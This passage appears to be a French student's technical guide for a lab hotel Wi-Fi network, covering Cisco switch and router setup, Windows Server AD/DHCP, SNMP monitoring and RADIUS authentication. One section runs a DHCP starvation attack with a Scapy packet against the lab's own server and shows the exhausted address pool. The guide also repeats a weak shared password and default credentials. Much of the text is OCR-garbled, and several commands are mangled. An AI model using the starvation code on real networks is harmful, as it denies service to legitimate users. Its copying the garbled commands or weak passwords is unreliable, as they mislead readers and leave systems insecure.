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1. Introduction

1.1 Contexte du projet

La société TipOne, leader européen des solutions de communication qui équipe deja plus
de 5 000 hétels, a répondu a l'appel d’offres et a été retenue. Cet appel d'offre est composé de
deux lots informatiques:

e le lot 1 concernant l'infrastructure réseau et les travaux nécessaires a la réalisation
des installations d’acces Wi-Fi.

e le lot 2 concernant le développement d’applications en lien avec la mise en place
de I’accés Wi-Fi.

Dans cette documentation technique, nous nous intéresserons au lot 1.

1.2 Objectifs du document

Le document a pour but de reproduire rapidement et facilement lI'architecture en « réel ».

1.3 Références

www.clemanet.com
WWW2.CiSco.com

1.4  Vue générale

2. Eléments de configuration

2.1 schémaréseau

2.2 Plan d'adressage
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168

Infrastructure virtuelle Wlan 200
192,168,135, 200/27
FaD
Server-
Serveur Al Laptep-PT
Fa0 192, 168.38.100/24 Laptop0
Server-PT g
Centreon192.168.38.1 \ =
Cluster Web E
. \ Int Gio/1. 100 =
Fa0 192,168.135.29 =
Fani IntGi0/0. 38 o =
s!:‘:\i:m:ha_\;%;] 192.168.38.253:’_2:4, ﬁ;ffgﬁﬁ"m . o e |
oot Server-FT -‘Eﬁoﬁ.’zﬂ' =g B aremn g0/ 1 1 ;
Serveur Web Switcg Fad/21 2501 Fao/a124TT WRT300N
192,168.38. 102 Router Rabanov >wieh2 Borne Wifi192.168.135.33
192,168.38.103
FaD
Gigh/o
1941 192.16%9?35.],"2?
Router du lycée
Vlan 100
Administration
Serveur 2012 192.168.38.200 255.255.255.0 Connecté au switch
du Lycée
Pc B04 192.168.135.1 255.255.255.224 | Connecté au switch
(DHCP) Rabanov port Fa0/2
Borne Wifi 192.168.135.33 255.255.255.224 | Connecté au switch
Rabanov port Gi0/2
Tableau des ports du Switch Rabnov
Fa 0/2 Pc B04
Gi 0/1 Routeur Rabanov
Gi 0/2 Borne Wifi

Tableau des ports du Routeur Rabanov

Gi 0/1 Switch Rabanov
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Gi 0/0 Switch du Lycée

3.  Configuration Switch

3.1.1 Configuration basique

3.1.2 Premiére installation

La premiére connexion s'effectue via le port console du switch. On utilisera pour cela un cable série
fourni en général avec le switch.

Nous aurons également besoin d'un terminal de connexion.

Exemples de logiciel client pour port série:
e Pour Windows: Hyper Terminal, Putty
e Pour Linux: Minicom

Une fois connecté, nous sommes placés dans un mode sans privilége. Il est possible dans ce mode
d'effectuer uniguement quelques commandes de diagnostique ou d'information. L'invite de commande du
mode sans privilege est la suivante:

switch>

o |l faut passer en mode enable avec la commande:

switch#configure terminal

e Mode configuration d'une interface:

Switch (config)#interface fastEthernet 0/1
Switch (config-if)#

o Enregistrer une configuration:

switch# copy running-config startup-config

3.1.3 Commande de base

o Redémarrer un switch :
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switch# reload
Proceed with reload? [confirm]

e Configuration du nom du switch, du domaine DNS, puis
enregistrement de la configuration:

Switch#conf t

Enter configuration commands, one per line. End with CNTL/Z.
Switch (confiqg) #

Switch (config) #hostname Switch-Rabanov

Switch-Rabanov (config) #ip domain-name rabanov-gr6.local
Switch-Rabanov (config) #end

Switch-Rabanov#wr

Building configuration...

[OK]

Switch-Rabanov#

e Attribuer une adresse ip a un commutateur (pour une connexion via un vlan):

Switch-Rabanov (config) #vlan 100

Switch-Rabanov (config-vlan) #exit

Switch-Rabanov (config) #interface vlan 100

Switch-Rabanov (config-if)#ip address 192.168.135.10 255.255.255.0
Switch-Rabanov (config-if) #ex

3.1.4 Sécurisation du switch:

o Crypter le mot de passe (Activation du service password-encryption ):

Switch-Rabanov#service password-encryption

o Création des mots de passe et configuration de la console et des lignes virtuelles:

Switch-Rabanov (config-line
Switch-Rabanov (config-line
Switch-Rabanov (config-1line) #exit

( #password PRsswOrd

(

(
Switch-Rabanov (config) #line vty 0 15

(

(

(

)
) #1login
Switch-Rabanov (config-line) #password P@sswOrd

Switch-Rabanov (config-line) #login
Switch-Rabanov (config-line) #end

Page 7 sur 32



Hoétel Rabanov Version: <4.0>

Documentation Technique Date: <28/04/2016>

3.1.5 Configuration du ssh:

o Vérification de la prise en compte du protocole ssh par I'lOS Tout d'abord, il faut vérifier
gue I'IOS du switch supporte ssh. La mention k9 (crypto) doit figurer dans le nom de
I'OS.

La commande pour vérifier la version de I'lOS est:

Switch-Rabanov#show version

Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE,
RELEASE SOFTWARE (fc2)

Technical Support: http://www.cisco.com/techsupport

Copyright (c) 1986-2010 by Cisco Systems, Inc.

Compiled Sat 07-Aug-10 23:04 by prod rel team

e Configuration du nom d'hote et du nom de domaine. Le nom du switch ainsi que le nom
de domaine doivent avoir été configurés.

e Créationde laclé

Switch-Rabanov (config) #crypto key generate rsa general-keys modulus 1024
The name for the keys will be: Switch-Rabanov.mondomaine.fr

The key modulus size is 1024 bits

Generating 1024 bit RSA keys, keys will be non-exportable...[OK]

o°

o°

Switch-Rabanov (confiqg) #
*Mar 1 00:42:43.625: $SSH-5-ENABLED: SSH 1.99 has been enabled

e Activation de ssh

Switch-Rabanov (config) #ip ssh version 2

e Options ajoutées au service ssh - les événements associés aux connexions ssh sont
enregistrés.
- Un timeout de 60 secondes est ajouté pour les sessions ssh en cas d'inactivité .
- Nous laisserons trois essais pour la connexion au switch.

Switch-Rabanov (config) #ip ssh logging events
Switch-Rabanov (config) #ip ssh time-out 60
Switch-Rabanov (config) #ip ssh authentication-retries 3

o Désactivation de telnet pour I'acces au switch
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Switch-Rabanov (config)#line vty 0 15
Switch-Rabanov (config-line) #login local
Switch-Rabanov (config-line) #transport input ssh

o Vérification de la configuration

Switch-Rabanov#show ip ssh
SSH Enabled - version 2.0
Authentication timeout: 60 secs; Authentication retries: 3

Ajout de la passerelle par défaut

Switch-Rabanov (confiqg) #ip default-gateway 192.168.135.254

4.  Configuration Routeur
Change le nom du routeur:

Router (config) #hostname routeur-Rabanov

Sécurisation du routeur

routeur-Rabanov
routeur—-Rabanov
routeur-Rabanov
routeur-Rabanov
routeur—-Rabanov
routeur—-Rabanov
routeur—-Rabanov
routeur-Rabanov
routeur-Rabanov
routeur—-Rabanov
routeur—-Rabanov
routeur-Rabanov

config) #fenable secret P@sswOrd
config)#line con 0
config-line) #password P@sswOrd
config-line) #login
config-line) #fexit

config)#line vty 0 4
config-line) #password P@sswOrd
config-line) #login
config-1line) #end

config)#no ip http secure-server
config)#no ip http server
config)#no ip domain lookup

o —

Ajout de la passerelle par défaut

routeur-Rabanov (config) #ip default-gateway 192.168.38.254

Routage inter-vlan pour la connexion aux machines virtuelles

routeur—-Rabanov (config) #interface g0/0.38
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routeur-Rabanov (config-subif) #encapsulation dotlQ 38
routeur-Rabanov (config-subif) #ip address 192.168.38.253 255.255.255.0
routeur-Rabanov (config-subif) #ex

Activation du routage rip:

routeur-Rabanov (config) #router rip

routeur-Rabanov (config-router) #version 2
routeur-Rabanov (config-router) #network 192.168.38.0
routeur-Rabanov (config-router) #network 192.168.135.0

Routage inter-vlan 100

routeur-Rabanov
routeur-Rabanov
routeur-Rabanov
routeur-Rabanov

config)#interface g0/1.100

config-subif) #fencapsulation dotlQ 100

config-subif)#ip address 192.168.135.29 255.255.255.224
config-subif) ffex

Routage inter-vlan 200

routeur-Rabanov (config)#int g0/1.200

routeur-Rabanov (config-subif) #en

routeur-Rabanov (config-subif) #encapsulation dotlQ 200

routeur-Rabanov (config-subif) #ip address 192.168.135.61 255.255.255.224
routeur-Rabanov (config-subif) #exit

5. Serveur Active Directory

5.1 Annexe

Nous utiliserons un serveur 2012.

Nom de domaine: rabanov-gré.local

5.2 installation basique
Installation des roles AD DS, DNS, DHCP.

5.2.1 Configuration DHCP
Etendue Vlan 100

Nous créons I'étendue du vlan 100
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Plage d’adresses IP o
Wous définissez la plage d'adresses en identifiant un jeu d'adresses IP consécoutives.

— Paramétres de configuration pour serveur DHCP
Entrez la plage d'adresses que |'éendue peut distibuer.

Adresse IP de A . 168 135 . 1
début - 12

Adresse IP defin: | 192168135 15

Longueur : I 27 E

Masque de |255.255.255.224
sousTesead

— Paramétres de configuration qui se propagent au client DHCP.

Laisser les options par défaut

MNom de domaine et serveurs DNS

DMS (Domain Mame System) mappe et tradutt les noms de domaines utilisés par les @

clients surle réseau.

Vous pouvez spécifier le domaine parent a utiliser par les ordinateurs clients sur le réseau pour la
résolution de noms DMNS.

Domaine parent : abanov-gré local

Pour corfigurer les clients d'étendue pour qu'ils utilisent les serveurs DMNS sur le réseau, entrez

les adregses |F pour ces serveurs.

Mom du serveur : Adresse P :

AjoLter

Rézoudre | 152.168.38.100

Supprimer
fonter

Dezcendre
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Activer I'étendue par défaut:

Assistant Nouvelle étendue

Activer I'étendue

Les clients ne peuvent obtenir des bawe d'adresses gue si une étendue est activée.

Voulez-vous activer cette &endue maintenant 7

{* D, je vewx activer cette étendue maintenant

(" Maon, j'activerai cette étendue ubénsurement

Q

< Précédent ” Suivart > | | Annuler

Assistant Mouvelle étendue

Plage d'adresses IP

Wous définissez la plage d'adresses en identifiant un jeu d'adresses IP consécutives.

Paramétres de configuration pour serveur DHCP

Entrez |a plage d'adresses que |'étendue peut distibuer.

Adresse IP de C168.135 . 33
debut : N

Adresse |P defin : | 192 168 . 135 . 62

Paramétres de configuration gui se propagent au client DHCP.

Longueur | 27 _|:|

Masque de | J55 255 285 224

sOUSTESEEU

=

< Précédent || Suivant = | | Annuler

Etendu
e vlan
200
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Laisser les mémes parameétres que pour I'étendue du vlan 100.

5.2.2 Configuration des options d'étendues

5.2.2.1 Configuration de I'étendue Vlan 100

Nous avons 3 options a parametrer:

1. L'option routeur: Mettre l'adresse de passerelle correspondandt au vlan 100 connecté sur le

routeur.

2. L'option serveur DNS: Mettre I'adresse du serveur 2012 qui est aussi le serveur DNS

3. L'option nom de domaine DNS: Mettre le nom de domaine rabanov-gré6.local

Ce qui donne pour le serveur DNS:

Options disponibles

| Descriptior

003 Routeur

[ 004 Serveur de temps
O] 005 Serveurs de noms
006 Serveurs ONS

< [[[]

Tableau dD

Tableau de
Tableau de
Tableau deg

— Entrée de données

Mom du serveur :

192.165.33.100

Ajouter
Supprimer
b orter

Dezcendre

Résoudre |

oK

|| Anruler || Appliquer
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5.2.3 Test DHCP

Nous avons branché un PC dans le vlan 100, c'est a dire le port FAQ/4 du switch.

Pour relancer une demande de DHCP, il faut faire la commande

ipconfig /renew

Pour lacher une adresse DHCP, il faut faire la commande.

Ipconfig /release

La trame capturé par WireShark. Pour une meilleure visibilité, chercher avec le filtre “bootp”.
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99 54, 06637800(0.0.0.0 255.255.255.255 DHCP 342 DHCP Discover - Transaction ID Oxb8babdsa
100 54.068075000192.168.135.29 192.168.135.1 DHCP 342 DHCP Offer - Transaction ID Oxb8babd5a
101 54.068385000.0.0.0 255.255.255. 255 DHCP 372 DHCP Request - Transaction ID Oxb8babd5a
102 54.071029000192.168.135.29 192.168.135.1 DHCP 347 DHCP ACK - Transaction ID Oxb8bab43a
139 57.481916001192.168.133.1 233.233.253.23) DHCP 342 DHCP Inform - Transaction ID Oxbdl3edbe
160 57.483111000192.168.38.100 192.168.135.1 DHCP 342 DHCP ACK - Transaction ID Oxb913edbe

5.2.3.1 Attaque DHCP starvation

Nous avons testé la sécurité de notre serveur DHCP avec l'attaque “DHCP starvation”

Pour cela, un PC pirate est connecté sur le vlan administration (Vlan 100) et avec l'outil Kali Linux. Le
but de I’attaque va étre de réserver 1’ensemble des adresses IP que peut distribuer le serveur DHCP pour
que notre client ne trouve pas de réponse a ses requétes DHCP.

Depuis notre poste pirate, nous allons donc ouvrir Scapy et forger notre paquet. Pour que 1’on sache ce
que I’on fait et que nous comprenions bien les paquets DHCP générés pour effectuer I’attaque, nous
allons voir le paquet en entier puis le décomposer couche par couche a partir de la couche 2. On
commence donc par lancer Scapy :

scapy

Puis on désactive la vérification par Scapy des adresses IP dans les paquets envoyés étant donné que nous
allons falsifier ces adresses :

conf.checkIpAddr = False

On va ensuite construire notre paquet :

tramedhcp = Ether (src=RandMAC () ,dst="ff:ff:ff:ff:f£:££")/
IP(src="0.0.0.0",dst="255.255.255.255") /UDP (sport=68,dport=67) /BOOTP (chaddr=R
andString (12, '0123456789%abcdef ")) /DHCP (options=[ ("message-

type", "discover"),"end"])

Pour vérifier, si I'attaque a bien fonctionner, nous avons fait une capture de trame sur le serveur 2012:
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Filter: | bootp

Mo
1118
1120
1121
1122
1123

Time

11.

Source
.1316570192.
.1456110192.
.1504150192.
.1526130192.
.1592930192.
.1658090192.
.1875210192.
.1896920192.
.1941580192.
. 1984560192,
. 2064120192,
. 2121400192,
. 2165050192,
. 2186090 192.
. 2229750192,
. 2256300192,
. 2345130192,
. 2436940192,
. 2549680 192.
. 2593380192,
. 2614980 192.
. 2641900192,
. 2685410192,
. 2706840192,
. 2874130192,
. 2940370 192.
. 2962200192,
. 3005790192,
. 3116160192,
. 3216880192,
. 3372800192,
. 3395360192,
3438830 192.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

135.
135.
135.
135.
135.
135,

135.
135.
135.
135.
135.
135.
135.
135.
135.
135.

135.
135.
135.
135.
135.
135.
135.
135.
135.
135.
135.
135.
135,
135.
135.

Destination
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192,168,
.29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
.29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192.168.
29 192,168,
29 192.168.
29 192.168.

.100
.100
.100
.100
.100
.100

.100
.100
.100
.100
.100
.100
.100
.100
.100
.100

.100
.100
.100
.100
.100
.100
.100
.100
.100
.100
.100
.100
.100
.100
.100

Expression... Clear Apply Save

Protocel

DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCFP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCFP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCFP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP

Length

286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286
286

Info

DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP

Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover
Discover

Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction
Transaction

0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0

Nous pouvons remarguer qu'il n'y a que des DHCP discover sur le serveur 192.168.38.100. On peut voir
également que la derniére adresse de I'étendue 192.168.135.29 est prise. Ce qui indique que toutes les
adresses de I'étendue sont utilisées.

Dans les statistiques du serveur DHCP, on peut voir les adresses disponibles.

e dela GPO

Statistiques sur I'étendue 192.168.135.0 [x]

Deescription | Détails
Mombre total d'adresses 30
- Litilisées 30 (1005)

Dans gestion de stratégies de groupe.

Actualiser | Femer |

5.3

Paramétrag
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Dérouler le menu tel quel:

|34, Gestion de stratégie de groupe
4 _r&.l Forét: rabanov-gré.local
4 [54 Domaines
4 3 rabanov-gré.local

=z Default Domain Policy
2| Clients

2| Domain Controllers

kb = =

2| Rabanov
=z Mot de passe
t- [ 5t Objets de stratégie de groupe
b [ Filtres WMI
b |5 Objets GPO Starter
- [ Sites
f62 Modélisation de stratégie de groupe
+ Résultats de stratégie de groupe

Clique droit sur “Rabanov”:

IO TIET L

1 Créer un objet GPO dans ce domaine, et [e lier ici...

= El: Lier un objet de stratégie de groupe existant...
f -y Filt Bloquer I'héritage

'['}t &l OF Mise & jour de la stratégie de groupe..
:;,:;é“sat Assistant Modélisation de stratégie de groupe...
lésultats Mouvelle unité d'organisation

Mouvelle fenétre a partir d'ici

Supprimer
Renocmmer
Actualiser
Propriétés
Aide

Ensuite, dans 1'éditeur de gestion des stratégies de groupe” dérouler le menu comme-Ci:
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Fichier Action Affichage 7

e 2E XK= HE

4 &l Configuration ordinateur
a [ Stratégies
i [ | Paramétres du lagiciel
4 || Paramétres Windows
O Stratégie de réselution de noms
Scripts (démarrage/arrét)
4 a Parameétres de sécurité
4 _jﬁ Stratégies de comptes
[ L;i Stratégie de mot de passel

HE

-

Stratégie
Conserver ['historique des mots de passe
Durée de vie maximale du mot de passe
Durée de vie minimale du mot de passe

Enregistrer les mots de passe en utilisant un chiffrement réwv...

Le mot de passe doit respecter des exigences de complexité
Lengueur minimale du mot de passe

Ensuite il faut configurer les différentes sections.

1. “Conserver l'historique des mots de passe”

Paramétres de stra
3 mots de passe m
Mon défini
Mon défini
Man défini
Man défini
Man défini

Paramétre de stratégie de sécunté | Expliquer |

Conserver |'historigue des mots de passe

[] Définir ce paramétre de stratégie

Conserver I'historique du mot de passe pendant :

mots de passe mémornsés

2. “Longueur minimale du mot de passe”

Paramétre de stratégie de sécurté | Expliquer |

Longueur minimale du mot de passe

%

[w] Dfinir ce paramétre de stratégie

Le mot de passe doit faine au minimum :

A ] comcteret)
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3. “Durée de vie maximale du mot de passe”

Propriétés de : Durée de vie maximale du mot de _

Paramétre de stratégie de sécunté | Expliquer |

_—_Ig. Durée de vie maximale du mot de passe

=

Dé&finir ce parmmétre de stratégie

Le mot de passe expirera dans :

&l : jours

Laisser les autres options par défaut.

5.4 Installation et configuration de la fonctionnalité SNMP

Installer la fonctionnalité SNMP, pas de paramétrage particulier a faire durant l'installation.
Ouvrir la page des services et rechercher: “Service SNMP”.
Dans la partie “communautg, il faut mettre le nom de la communauté commune a tous les appareils. On
peut faire le paralléle avec un mot de passe. Il faut que ce “mot de passe” soit identique sur tous le

matériels (switch, machine). Sinon la connexion ne fonctionnera pas.

Ajouter I'adresse du serveur de Supervision: 192.168.38.104.

Page 19 sur 32




Hoétel Rabanov Version: <4.0>

Documentation Technique Date: <28/04/2016>

Général | Conmexion |  Récupéraion |  Agent
Intermuptions | Sécurté | Dépendances

[w] Ervoyer une intemuption d'authentification

Moms de communautés acceptés
Communauté Diroits
rabanov-gré LECTURE 5E...

() Accepter les paguets SNMP provenant de n'importe quel hite
(®) Accepter les paguets SNMP provenart de ces hites

ocalhost
152.168.38.104

QK || Annuler || Appliquer |

5.5 Configuration du serveur Web

5.5.1 Configuration SNMP
Il faudra faire cette configuration sur les deux serveurs web qui sont en cluster.

5.5.1.1 Installation
Installation du packet

apt-get install snmpd snmp

5.5.1.2 Configuration
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Il n'y a pas grand chose a faire, il faut modifier le fichier se trouvant dans /etc/snmp/snmpd.conf

Il faut commenter cette ligne, car il ne faut pas utiliser le nom de communauté par défaut, il faut
en mettre un différent.

Et deuxiément le -V systemonly est trop restrictif
frocommunity public default -V systemonly

Donc dans notre cas il faut faire comme cela:

rocommunity rabanov-gré6

6. Paramétrage de la supervision
Pré-requis:

Il est nécessaire que la Community soit configuré sur toutes les machines/éléments de
configuration.

6.1 Ajoutd'une machine

Se connecter a l'interface graphique via I'adresse 192.168.38.104
Username: admin

Password: P@sswOrd

Dans la section configuration, hotes cliquer sur “ajouter”:
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on de base sur I'héte
MNom de 'héte * Serveur20n2
Alias * Serveur2012
Adresse I[P/ DNS * 182.168.38.100
Communauté SNMP & Version rabanov-gré v

calisation ) -
+ Ajouter une nouvelle entrée

Modéle| Servers-Win2K3 v | «b ()

&er aussi les services liés aux modéle: ® Oul Non
e e de =
O] -
Commande de vérification
&
Macros personnalisées
Heérité depuis un modéle Rien & afficher, utiliser le bouton "Add
Hérité depuis la commande
ordonnancement
Période de contrdle ® b

Nombre de contréles a tvalidation de I'état

Intervalle normal de contréle * 60 secondes
Intervalle non-régulier de contrale * 60 secondes

actif activé Ou Non @ Défaut

Contrdle passif activé Ou Non ® Défaut

Les sections importants sont:

la communauté SNMP: celle que nous avons définit ultérieurement, c'est a dire rabanov-gré
Adresse IP/DNS: Adresse ip de la machine supervisée

Nom de I'hdte: Nom convivial de la machine supervisée: Serveur2012

Alias: Mettre un nom convivial de la machine supervisée: Serveur2012

Modeéle d'hdte: Mettre un nom d'hote en rapport avec la machine supervisée, dans ce cas-ci:
Server-Winks2k3.

Il faut ensuite sauvegarder.

Pour valider I'ajout du matériel, il faut aller dans configuration, collecteur et faire “application de la
configuration.

7. Paramétrage Radius avec borne Wi-fi
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7.1 Premiére connexion a la borne wi-fi

Relier le port RJ45 du Wg302 sur I'un des ports RJ45 de votre PC. Ensuite, configurer le PC dans le
méme plan d'adressage IP que le point d'accés: 192.168.0.210 255.255.255.0

Se connecter a l'interface de configuration du point en entrant I'adresse par défaut: http://192.168.0.228
depuis votre navigateur internet.

Nom d'utilisateur = admin

Mot de passe = password

7.2 Paramétrage de la borne wi-fi
Dans la section Basic Setting

Basic Settings
Basic Settings Access Point Name ProjetSI0g6
Wireless Settings Country | Region France v
IP Address
Security Profile Settings DHCP Client Enabla ® Disable
Radius Server Settings
192 |.|168 |.|135 |.[33
Access Control IP Address - °
IP Subnet Mask 258 |-[28% |-[28% |-[224
S oteway 192 |.|188 |.|135 |.|81
Change Password Default Gateway
Remote Management Primary DNS Server 1%z |.|18% .38 ==
Upgrade Firmware Secondary DNS Server a -2 -9 -9
Backup/Restore Settings
Reboot AP Spanning Tree Protocol Enable  ® Disable
202.1Q VLAN
Activity Log ManagementVLAM: L
Available Wireless Station List ¥ Untagged VLAN: 1
Statistics
Rogue AP Detection Time Zone
France v
IP Settings Current Time Thu Apr 22 D8:52:43 2018
Hotspot Settings NTP Server * Enable Disable
Wireless Setlings
Access Point Setfings Use Custom NTP Server .
Hostname / IPAddress: time-g.netgear.com
Documentation Apply Cancel

Access Point Name: Le nom du routeur

Ip Address: Adresse IP du point dacces. Nous avons en adéquation avec I'adressage IP de notre Vlan 200.
Ip Subnet Mask: Masque de sous réseau.

Default Gateway: Adresse Ip du vlan 200 pour le port Gi 0/1.200 du routeur

Primary DNS Server: Adresse IP du serveur 2012
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Dans la section Wireless Settings
Wireless Settings 11b/g

Basic Settings Wireless LAN ¥ Turn Radio On

Wireless Seitings Wireless Network Name (SSID) ProjetSI0Og6
Broadcast Wirslass Network Name (SSID) ® Yeg Mo

Security Profile Settings Wiraless Mode Auto(11g/11b) ¥

Radius Server Settings Channel / Frequency 13/2472GHz »

Access Control Data Rate Best v
Output Power Full v

Change Password Apply [ | Cancel |

Wireless Network Name (SSID): Définir un SSID avec un nom concret.
Laisser le reste par défaut.

Dans la section Security Profile Settings

Security Profile Settings 11b/g

Basic Settings Security Profiles
Wireless Settings # Profile Name SSID Security VLAN Enable

o |1 ProjetSiOgs ProjetSiCgs WEA & WPAZ with Radius 1
Security Profile Settings 2 NETGEAR-1 NETGEAR-1 Open System 1
Radius Server Settings 3 NETGEAR-2 NETGEAR-2 Open System 1
Access Control 4 NETGEAR-3 NETGEAR-3 Open System 1

5 MNETGEAR-4 MNETGEAR-4 Cpen Systam 1
Change Password 4] NETGEAR-5 NETGEAR-5 Open System 1
Remote Management 7 NETGEAR-G NETGEAR-G Cpen System 1
Upgrade Firmware 8| NETGEAR-T NETGEAR-T Open System 1
Backup/Restore Settings -
Reboot AP | Edit |
Apply Cancel

Nous avons besoin que d'un seul profile, faire “Edit”
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Basic Settings
Wireless Settings

Security Profile Settings
Radius Server Settings

Access Control

Change Password
Remote Management
Upgrade Firmware
Backup/Restore Settings
Reboot AP

Security Profile 1 Configuration

The setup has been applied.

Profile Definition
Security Profile Name

Wireless Network Name (S5ID)

Broadcast Wireless Network Name (SSID)

ProjetSI0gh
ProjetSI0g6

* Yes Mo

Network Authentication:

Data Encryption:

Wireless Client Security Separation

WPA & WPAZ with Radius 7 |

[ Open System

Shared Key
Legacy 802.1X
WPA with Radius
WPAZ with Radius

VLAN ID

Back

Security Profile Name: Nom comcret
Wireless Network Name (SSID): Mettre le méme nom de SSID que dans la partie Wireless Setting.
Network Authentication: “WPA & WPA 2 With Radius”

Laisser le reste par defaut.

Basic Settings
Wireless Settings

Security Profile Setfings
Radius Server Settings
Access Control

Change Password
Remote Management
Upgrade Firmware
Backup/Restore Settings
Reboot AP

Activity Log
Available Wireless Station List
Statistics

Rogue AP Detection

Appry

WPA-PSK
WPAZ2-PSK
WPA-PSK & WPAZ-PSK

el ET

Radius Server Settings

Primary Authentication Server

Port Number 181

Shared Secret
Secondary Authentication Server

IP Address S R
Port Number 1
Shared Secret

IF Address 192|. [1e8|.

Primary Accounting Server
IP Address 192].
Port Number 181

xxxxxxxx

Shared Secret
Secondary Accounting Server

IP Address S O e
Port Number 181
Shared Secret

Apply

Cancel
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Section: Primary Authentification Server:

Ip Address: Adresse IP du serveur 2012

Port Number: 1812 (port par défaut)

Shared Secret: Il faut le méme secret partage sur le Serveur 2012 et sur la borne Wifi. Dans notre cas
P@sswOrd

Section: Primary Accounting Server:

Ip Address: Adresse IP du serveur 2012

Port Number: 1813 (port par défaut)

Shared Secret: Il faut le méme secret partage sur le Serveur 2012 et sur la borne Wifi. Dans notre cas
P@sswOrd

Laisser le reste par défaut.

Il n'est pas nécessaire de modifier les autres sections pour notre cas.

7.3  Configuration Radius

7.3.1 Installation et configuration Web IIS
Installation du réle Web lis, pas de paramétrage particulier a faire pendant I'installation

Il faut maintenant créer le certificat auto-signé. Pour cela, lancer la console Web IIS:

-

e Gestionnaire des services Internet (IIS)

@)’ | 5 » WIN2K12-RABANOV »

Fichier ~ Affichage  Aide
Connexions
- 8

@3 Page de démarrage

Uél' Page d'accueil de WIN2K12-RABANOV

4 €3 WINZK1Z-RABANOV (RABAN Filtrer : - Atteindre - \gg Afficher tout | Regrouper par: Zone - -
|5} Pools d'applications Gestion “~
o sit - -
| -[&] Sites = ;j} 3. D
L -
Configuration  Délégation des Editeur de
partagée fonctionnalités  configuration
s ~
erm— = — - _
R - ; =i = [
W g f_ﬂ @ )= = =
Authentification | Certificats de Compression  Document par En-tétes de Exploration de Filtrage des Journalisation
H défaut réponse HTTP répertoire demandes
— £ 5
- o &] .
& & |4 ] ez‘é JE
Mappages de  Mise en cache Maodules Pages d'erreurs  Processus de Types MIME
gesticnnaires de sortie travail

Ensuite dans la section « Certificat de serveur »
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Créer un certificat auto-signé

I Indiquer un nom convivial

Indiquez un nem de fichier pour la demande de certificat, Ces informations peuvent étre envoyées 3 une
autorité de certification en vue de la signature:

Indiguer un nem convivial pour le certificat :

Sélectionnez un magasin de certificats pour le nouveau certificat :

|Per50nnel v

Cliquer sur « Créer un certificat auto-signé.

Annuler

7 e

Importer...

Créer une demande de
certificat...

Terminer la demande de
certificat...

Créer un certificat de
demaine...

I Créer un certificat auto-signé... I

Afficher...
Exporter...
X Supprimer

Activer la reliaison
automatique du certificat
renouvelé

@ Aide

Mettre un nom convivial, nous avons fait le choix de « Wifi » en liant avec la borne Wifi.

Et valider.

7.3.2 Installation et configuration du r6le Network Policy Server (NPS)

[m] Services de stratégie et d'accés réseau (1 sur 3 installé

Installer le réle :
Il n'y a pas de configuration particuliére a faire pendant I'installation.

Création du client Radius :
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&

Fichier Action Affichage 7

«=9 #[E B

Serveur NPS (Network

€ NPS (Local)
4 || Clients et serveurs RADIUS

35 Groupes de serveurs RA
[ ‘_EJ' Stratégies
[ _b Protection d'acces réseau
llj Gestion
i Wl Gestion des modéles

Valider

Création de la stratégie :

Paramétres | Avance

Activer ce client BADIUS

Secret partage

Propriétés de Borne Wifi -

Sélectionner un modéle existant

MNom et adresse
Nom convivial :
|Enme Wi |

Adresse (IP ou DMS) :
[192.168.135.33 || verfier... |

Sélectionnez un modéle de secrets partagés existant :

| Aucun W |

Paour taper manuelement un secret partagé, cliquez sur Manuel. Pour générer
automatiguement un secret partage, cliqguez sur Générer. Vious devez configurer le
client RADIUS avec le méme secret partage entre ici. Les secrets partageés
respectent la casse.

(®) Manuel () Générer

Secret partagé :

|........ |
Confimez e secret partagé :

oK || Annuler | Appliquer

Nom Convivial : Borne Wifi
Adresse Ip : Adresse de la borne wi-fi (192.168.38.33)
Secret partagé :Méme secret partagé que sur la borne wi-fi.

Pré-requis : Avoir un groupe avec le nom client

Page 28 sur 32




Hoétel Rabanov

Version: <4.0>

Documentation Technique

Date: <28/04/2016>

e

Fichier Action Affichage 7

==

€ NP5 (Local)

4 [ Clients et serveurs RADIUS
5 Clients RADIUS
i Groupes de serveurs RA

a [5[ stratégies
| Stratégi

s de demande

| Stratégies de contrale d
I+ _b Protection d'accés réseau
B Gestion
I * Gestion des modéles

Serveur NPS (Network Policy Server) -

»

Stratégies réseau

* Les stratég
connexion:

Nom de |a stratégie
iﬂ BomeWifi

l'_dCDnnexions au g
l'_dCDnnexions ad:

) BomeWii

Conditions - Si leg

Mouvelle stratégie réseau

Spécifier le nom de la stratégie réseau et le type de connexion
]
J. g L

